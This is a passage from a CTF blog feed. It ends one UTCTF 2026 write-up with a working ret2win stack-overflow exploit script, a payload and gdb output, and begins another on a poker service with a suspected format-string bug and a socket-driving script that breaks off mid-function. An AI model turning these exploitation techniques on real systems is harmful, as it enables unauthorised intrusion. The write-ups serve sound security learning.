    <p>Based on this, <code class="language-plaintext highlighter-rouge">secret_function()</code> writes a byte array to the stack, XORs each byte with the key <code class="language-plaintext highlighter-rouge">0x32</code>, and prints each decoded byte with <code class="language-plaintext highlighter-rouge">putchar</code>. The decoded output is the real flag.</p>
  </li>
</ul>

<p>Next, we perform dynamic analysis. First, generate a <code class="language-plaintext highlighter-rouge">payload.bin</code> to overflow the 32-byte buffer and overwrite the return address with <code class="language-plaintext highlighter-rouge">0x40124f</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">struct</span>

<span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s">'givemeflag</span><span class="se">\n\x00</span><span class="s">'</span><span class="o">+</span><span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="p">(</span><span class="mi">40</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="sa">b</span><span class="s">'givemeflag</span><span class="se">\n\x00</span><span class="s">'</span><span class="p">))</span><span class="o">+</span><span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;Q'</span><span class="p">,</span><span class="mh">0x40124f</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'payload.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'len='</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</code></pre></div></div>

<p>After creating <code class="language-plaintext highlighter-rouge">payload.bin</code>, we use gdb/pwndbg for dynamic analysis:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gdb <span class="nt">-q</span> ./pwnable                                                                                            

⚠️ warning: /home/kali/Desktop/pwndbg/gdbinit.py: No such file or directory
Reading symbols from ./pwnable...
<span class="o">(</span>No debugging symbols found <span class="k">in</span> ./pwnable<span class="o">)</span>
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">set </span>pagination off
<span class="o">(</span>gdb<span class="o">)</span> b <span class="k">*</span>0x40124e
Breakpoint 1 at 0x40124e
<span class="o">(</span>gdb<span class="o">)</span> run 1701604463 &lt; payload.bin
Starting program: /home/kali/Desktop/wargame/guard/pwnable 1701604463 &lt; payload.bin
<span class="o">[</span>Thread debugging using libthread_db enabled]
Using host libthread_db library <span class="s2">"/usr/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="nb">.</span>
Hi. What <span class="k">do </span>you want.
How rude! utflag<span class="o">{</span>you<span class="s1">'re going to need a sneakier way in...}

Breakpoint 1, 0x000000000040124e in read_input ()
(gdb) x/6gx $rbp-0x30
0x4141414141414111:     ❌️ Cannot access memory at address 0x4141414141414111
(gdb) x/gx $rbp+8
0x4141414141414149:     ❌️ Cannot access memory at address 0x4141414141414149
(gdb) info registers rip rbp rsp
rip            0x40124e            0x40124e &lt;read_input+97&gt;
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffd4e8      0x7fffffffd4e8
(gdb) ni
0x000000000040124f in secret_function ()
(gdb) info registers rip
rip            0x40124f            0x40124f &lt;secret_function&gt;
</span></code></pre></div></div>

<p>From the debugger output, these results are important:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 1, 0x000000000040124e <span class="k">in </span>read_input <span class="o">()</span>
rip 0x40124e &lt;read_input+97&gt;
rbp 0x4141414141414141 <span class="p">;</span> <span class="nt">--</span><span class="o">&gt;</span> payload worked
...
0x000000000040124f <span class="k">in </span>secret_function <span class="o">()</span>
rip 0x40124f &lt;secret_function&gt; <span class="p">;</span> <span class="nt">--</span><span class="o">&gt;</span> now executing secret_function.
</code></pre></div></div>

<p>This indicates:</p>
<ul>
  <li>The saved frame pointer is overwritten by the payload.</li>
  <li>Single-stepping over the <code class="language-plaintext highlighter-rouge">ret</code> transfers execution into <code class="language-plaintext highlighter-rouge">secret_function()</code>.</li>
  <li>This is conclusive evidence of control-flow hijack.</li>
</ul>

<p>Based on the analysis, we need to build a payload with an exact 40-byte offset to overwrite the saved RIP and set it to <code class="language-plaintext highlighter-rouge">0x40124f</code> (the address of <code class="language-plaintext highlighter-rouge">secret_function</code>).</p>

<h2 id="exploit-code">Exploit code</h2>
<p>Here is the exploit code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
Exploit for guard/pwnable

Root bug:
- Stack buffer overflow in read_input(): read(0, buf, 0x64) with buf size 0x20.
- Overwrite saved RIP and return into secret_function().
"""</span>

<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>

<span class="n">BINARY</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">__file__</span><span class="p">).</span><span class="n">with_name</span><span class="p">(</span><span class="s">"pwnable"</span><span class="p">)</span>

<span class="c1"># Gate in main:
#   atoi(argv[1]) - 0x656c6c6f == 0
</span><span class="n">HELLO_MAGIC_DEC</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x656C6C6F</span><span class="p">)</span>

<span class="c1"># Function addresses from non-PIE binary
</span><span class="n">SECRET_FUNCTION</span> <span class="o">=</span> <span class="mh">0x40124F</span>
<span class="n">OFFSET_TO_RIP</span> <span class="o">=</span> <span class="mi">40</span>  <span class="c1"># 0x20 buffer + 8 saved RBP + RIP at +0x28
</span>

<span class="k">def</span> <span class="nf">build_payload</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
    <span class="s">"""Build overflow payload that safely passes strcmp() first."""</span>
    <span class="n">prefix</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"givemeflag</span><span class="se">\n\x00</span><span class="s">"</span>
    <span class="n">padding</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="p">(</span><span class="n">OFFSET_TO_RIP</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">prefix</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">prefix</span> <span class="o">+</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"&lt;Q"</span><span class="p">,</span> <span class="n">SECRET_FUNCTION</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="n">build_payload</span><span class="p">()</span>

    <span class="c1"># stdbuf -o0 ensures putchar() output is flushed before expected crash.
</span>    <span class="n">proc</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span>
        <span class="p">[</span><span class="s">"stdbuf"</span><span class="p">,</span> <span class="s">"-o0"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">BINARY</span><span class="p">),</span> <span class="n">HELLO_MAGIC_DEC</span><span class="p">],</span>
        <span class="nb">input</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span>
        <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span>
        <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span>
        <span class="n">check</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span>
    <span class="p">)</span>

    <span class="n">output</span> <span class="o">=</span> <span class="n">proc</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">"latin-1"</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">"ignore"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>

    <span class="c1"># Expected: process may crash after secret_function returns (invalid next RIP).
</span>    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[i] exit code: </span><span class="si">{</span><span class="n">proc</span><span class="p">.</span><span class="n">returncode</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<p>Result:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 solve.py  
Hi. What <span class="k">do </span>you want.
How rude! utflag<span class="o">{</span>you<span class="s1">'re going to need a sneakier way in...}
utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}
[i] exit code: -4
</span></code></pre></div></div>

<h2 id="technical-summary">Technical Summary</h2>
<h3 id="vulnerability-classification">Vulnerability Classification</h3>

<ul>
  <li>CWE-121: Stack-based Buffer Overflow</li>
  <li>Classic ret2win control-flow hijack due to unsafe <code class="language-plaintext highlighter-rouge">read</code> length.</li>
</ul>

<h3 id="techniques-used">Techniques Used</h3>

<ul>
  <li>Static RE with symbol and disassembly mapping.</li>
  <li>Stack frame/offset reasoning from assembly.</li>
  <li>Runtime debugger validation of overwritten control flow.</li>
  <li>Payload engineering with exact RIP offset and static function address.</li>
</ul>

<h2 id="challenge-source-code">Challenge Source Code</h2>

<p>Challenge’s Github Repository: <a href="https://github.com/UITxWoodyNguyen/CTF/tree/main/UTCTF-2026/pwn/rude-guard">rude_guard</a></p>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="pwn" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Small Blind - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/small_blind/" rel="alternate" type="text/html" title="Small Blind - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/small_blind</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/small_blind/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>Come play some poker! You’ve got 500 chips and a shot to double up. The flag’s behind a win condition, but a good poker player knows there’s always more than one way to win.</p>
<blockquote>
  <p>nc challenge.utctf.live 7255</p>
</blockquote>

<h2 id="challenge-overview">Challenge Overview</h2>
<p>This is a pwnable challenge with no binary or source provided to players. I first used netcat to inspect the service:</p>

<p><img src="https://www.notion.so/image/attachment%3A57c42783-cf75-4a72-9b86-2323986b1f60%3Aimage.png?table=block&amp;id=3251b638-5371-8056-865b-cbc410a15e51&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="Test Game" /></p>

<p>Based on the screenshot, this is a poker game. The player and dealer each start with 500 chips. The player provides a <code class="language-plaintext highlighter-rouge">name</code> and can select one of four actions: <code class="language-plaintext highlighter-rouge">check</code>, <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">raise &lt;n&gt;</code>, or <code class="language-plaintext highlighter-rouge">fold</code>.</p>

<h2 id="challenge-analysis">Challenge Analysis</h2>
<p>After many netcat sessions, we determined the game’s flow:</p>
<ul>
  <li>The service prints a banner and prompts <code class="language-plaintext highlighter-rouge">Enter your name:</code>; it stores the input and prints a welcome message that includes the name.</li>
  <li>If the player chooses to play:
    <ul>
      <li>the poker hand state machine runs (preflop/flop/turn/river),</li>
      <li>chips are settled,</li>
      <li>control returns to the menu.</li>
    </ul>
  </li>
  <li>On exit the service checks an end condition and prints the flag if it is satisfied.</li>
</ul>

<p>Because the program echoes the supplied name back to stdout, we suspected a <strong>format-string vulnerability</strong>. The vulnerable code might look like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// input name and store intro a c-string</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">playerName</span> <span class="o">=</span> <span class="n">name</span>
<span class="nf">printf</span><span class="p">(</span><span class="s">"Welcome to the table, "</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="n">playerName</span><span class="p">);</span>
</code></pre></div></div>

<p>Run netcat again to check this prediction, we have this result:</p>

<p><img src="https://www.notion.so/image/attachment%3A0d400d23-9a1a-41c0-9de9-8a6056da85af%3Aimage.png?table=block&amp;id=3251b638-5371-80ad-a0ee-c92672d1ac95&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="vuln" /></p>

<p>This confirms the suspicion. Next we needed to determine the win condition, so I tried pushing the game into boundary states by always using <code class="language-plaintext highlighter-rouge">raise 480</code>. I chose <code class="language-plaintext highlighter-rouge">raise 480</code> because raising less than 480 produces a smaller pot that doesn’t reach the maximum stage, while raising 490 or 500 is often rejected.</p>

<p>Both players start with 500 chips, so the most extreme distribution is <code class="language-plaintext highlighter-rouge">1000-0</code>. I used that hypothesis in a script to check the win condition:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span><span class="p">,</span> <span class="n">Tuple</span>

<span class="n">HOST</span> <span class="o">=</span> <span class="s">"challenge.utctf.live"</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">7255</span>
<span class="n">PLAY_PROMPT</span> <span class="o">=</span> <span class="s">"Play a hand? (y to play / n to exit / t to toggle Unicode suits [currently on]):"</span>
<span class="n">ACTION_PREFIX</span> <span class="o">=</span> <span class="s">"Action ("</span>


<span class="k">def</span> <span class="nf">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">line</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">sock</span><span class="p">.</span><span class="n">sendall</span><span class="p">((</span><span class="n">line</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>


<span class="k">def</span> <span class="nf">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">buf</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">marker</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">4.0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span>
    <span class="k">while</span> <span class="n">marker</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&gt;</span> <span class="n">end</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">TimeoutError</span><span class="p">(</span><span class="sa">f</span><span class="s">"timeout waiting for marker: </span><span class="si">{</span><span class="n">marker</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">ConnectionError</span><span class="p">(</span><span class="s">"remote closed"</span><span class="p">)</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>
    <span class="n">idx</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">marker</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">marker</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">buf</span><span class="p">[:</span><span class="n">idx</span><span class="p">],</span> <span class="n">buf</span><span class="p">[</span><span class="n">idx</span><span class="p">:]</span>


<span class="k">def</span> <span class="nf">recv_action_prompt</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">buf</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">timeout</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">4.0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">end</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="n">timeout</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">idx</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">ACTION_PREFIX</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">idx</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
            <span class="n">colon</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="n">idx</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">colon</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
                <span class="n">prompt</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">idx</span> <span class="p">:</span> <span class="n">colon</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="k">return</span> <span class="n">prompt</span><span class="p">,</span> <span class="n">buf</span><span class="p">[</span><span class="n">colon</span> <span class="o">+</span> <span class="mi">1</span> <span class="p">:]</span>

        <span class="k">if</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&gt;</span> <span class="n">end</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">TimeoutError</span><span class="p">(</span><span class="s">"timeout waiting action prompt"</span><span class="p">)</span>

        <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">ConnectionError</span><span class="p">(</span><span class="s">"remote closed"</span><span class="p">)</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">parse_last_chips</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">],</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]]:</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s">"Your chips:\s*(\d+)\s*\|\s*Dealer chips:\s*(\d+)"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span>
    <span class="n">y</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="n">m</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">y</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">play_to_menu</span><span class="p">(</span><span class="n">sock</span><span class="p">:</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">,</span> <span class="n">buf</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">transcript</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">aggressive</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="bp">False</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="c1"># Keep the hand moving with check/call so showdown can resolve naturally.
</span>    <span class="n">deadline</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">+</span> <span class="mf">12.0</span>
    <span class="k">while</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">deadline</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">PLAY_PROMPT</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
            <span class="n">cut</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">PLAY_PROMPT</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">PLAY_PROMPT</span><span class="p">)</span>
            <span class="n">transcript</span> <span class="o">+=</span> <span class="n">buf</span><span class="p">[:</span><span class="n">cut</span><span class="p">]</span>
            <span class="n">buf</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">cut</span><span class="p">:]</span>
            <span class="k">return</span> <span class="n">buf</span><span class="p">,</span> <span class="n">transcript</span>

        <span class="n">idx</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">ACTION_PREFIX</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">idx</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
            <span class="n">colon</span> <span class="o">=</span> <span class="n">buf</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="n">idx</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">colon</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
                <span class="n">prompt</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">idx</span> <span class="p">:</span> <span class="n">colon</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="n">transcript</span> <span class="o">+=</span> <span class="n">buf</span><span class="p">[:</span> <span class="n">colon</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="n">buf</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">colon</span> <span class="o">+</span> <span class="mi">1</span> <span class="p">:]</span>
                <span class="k">if</span> <span class="s">"check"</span> <span class="ow">in</span> <span class="n">prompt</span><span class="p">:</span>
                    <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"check"</span><span class="p">)</span>
                <span class="k">elif</span> <span class="s">"call"</span> <span class="ow">in</span> <span class="n">prompt</span><span class="p">:</span>
                    <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"call"</span><span class="p">)</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"fold"</span><span class="p">)</span>
                <span class="k">continue</span>

        <span class="k">try</span><span class="p">:</span>
            <span class="n">data</span> <span class="o">=</span> <span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
        <span class="k">except</span> <span class="p">(</span><span class="nb">TimeoutError</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">timeout</span><span class="p">):</span>
            <span class="k">continue</span>

        <span class="k">if</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
            <span class="k">break</span>
        <span class="n">chunk</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"replace"</span><span class="p">)</span>
        <span class="n">buf</span> <span class="o">+=</span> <span class="n">chunk</span>
        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">chunk</span>

    <span class="k">raise</span> <span class="nb">TimeoutError</span><span class="p">(</span><span class="s">"did not return to play menu in time"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">single_attempt</span><span class="p">(</span><span class="n">name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">aggressive</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="bp">False</span><span class="p">,</span> <span class="n">max_hands</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">bool</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">],</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]]]:</span>
    <span class="n">transcript</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">with</span> <span class="n">socket</span><span class="p">.</span><span class="n">create_connection</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">),</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">8</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
        <span class="n">sock</span><span class="p">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mf">1.5</span><span class="p">)</span>
        <span class="n">buf</span> <span class="o">=</span> <span class="s">""</span>

        <span class="c1"># Login
</span>        <span class="n">chunk</span><span class="p">,</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="s">"Enter your name:"</span><span class="p">)</span>
        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">chunk</span>
        <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>

        <span class="c1"># Menu -&gt; start hand 1
</span>        <span class="n">chunk</span><span class="p">,</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">recv_until</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">PLAY_PROMPT</span><span class="p">)</span>
        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">chunk</span>
        <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"y"</span><span class="p">)</span>

        <span class="c1"># Hand 1: force near all-in from SB spot
</span>        <span class="n">prompt</span><span class="p">,</span> <span class="n">buf</span> <span class="o">=</span> <span class="n">recv_action_prompt</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buf</span><span class="p">)</span>
        <span class="n">transcript</span> <span class="o">+=</span> <span class="n">prompt</span>
        <span class="k">if</span> <span class="s">"call 10 / raise &lt;n&gt; / fold"</span> <span class="ow">in</span> <span class="n">prompt</span><span class="p">:</span>
            <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"raise 480"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="s">"check / raise &lt;n&gt; / fold"</span> <span class="ow">in</span> <span class="n">prompt</span><span class="p">:</span>
            <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"raise 480"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">send_line</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="s">"fold"</span><span class="p">)</span>

        <span class="c1"># Finish hand 1 and return to menu
</span>        <span class="n">buf</span><span class="p">,</span> <span class="n">transcript</span> <span class="o">=</span> <span class="n">play_to_menu</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">transcript</span><span class="p">,</span> <span class="n">aggressive</span><span class="o">=</span><span class="n">aggressive</span><span class="p">)</span>
        <span class="n">y1</span><span class="p">,</span> <span class="n">d1</span> <span class="o">=</span> <span class="n">parse_last_chips</span><span class="p">(</span><span class="n">transcript</span><span class="p">)</span>

        <span class="n">y2</span><span class="p">,</span> <span class="n">d2</span> <span class="o">=</span> <span class="n">y1</span><span class="p">,</span> <span class="n">d1</span>
        <span class="n">hands_played</span> <span class="o">=</span> <span class="mi">1</span>
        <span class="k">while</span> <span class="n">hands_played</span> <span class="o">&lt;</span> <span class="n">max_hands</span><span class="p">:</span>
